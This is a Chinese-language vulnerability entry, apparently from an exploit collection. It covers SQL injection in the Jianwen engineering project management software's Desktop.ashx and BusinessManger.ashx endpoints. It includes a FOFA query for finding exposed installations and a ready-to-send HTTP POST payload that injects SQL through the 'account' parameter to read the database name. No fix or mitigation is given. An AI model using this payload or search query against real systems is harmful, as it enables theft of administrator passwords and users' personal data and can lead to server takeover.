J18-2建文-工程项目管理软件-SQL

漏洞描述：

建文工程项目管理软件BusinessManger.ashx、Desktop.ashx等接口处存在SQL注入漏洞，攻击者可通过该漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本：

- 建文-工程项目管理软件

网站图片：

网络测绘：

fofa语法：

FOFA：body="建文工程项目管理软件"

漏洞复现：

payload：

```
POST /SysFrame4/Desktop.ashx HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

account=1'+and+%01(select db_name())<0--&method=isChangePwd&pwd=
```

效果图:
查询当前数据库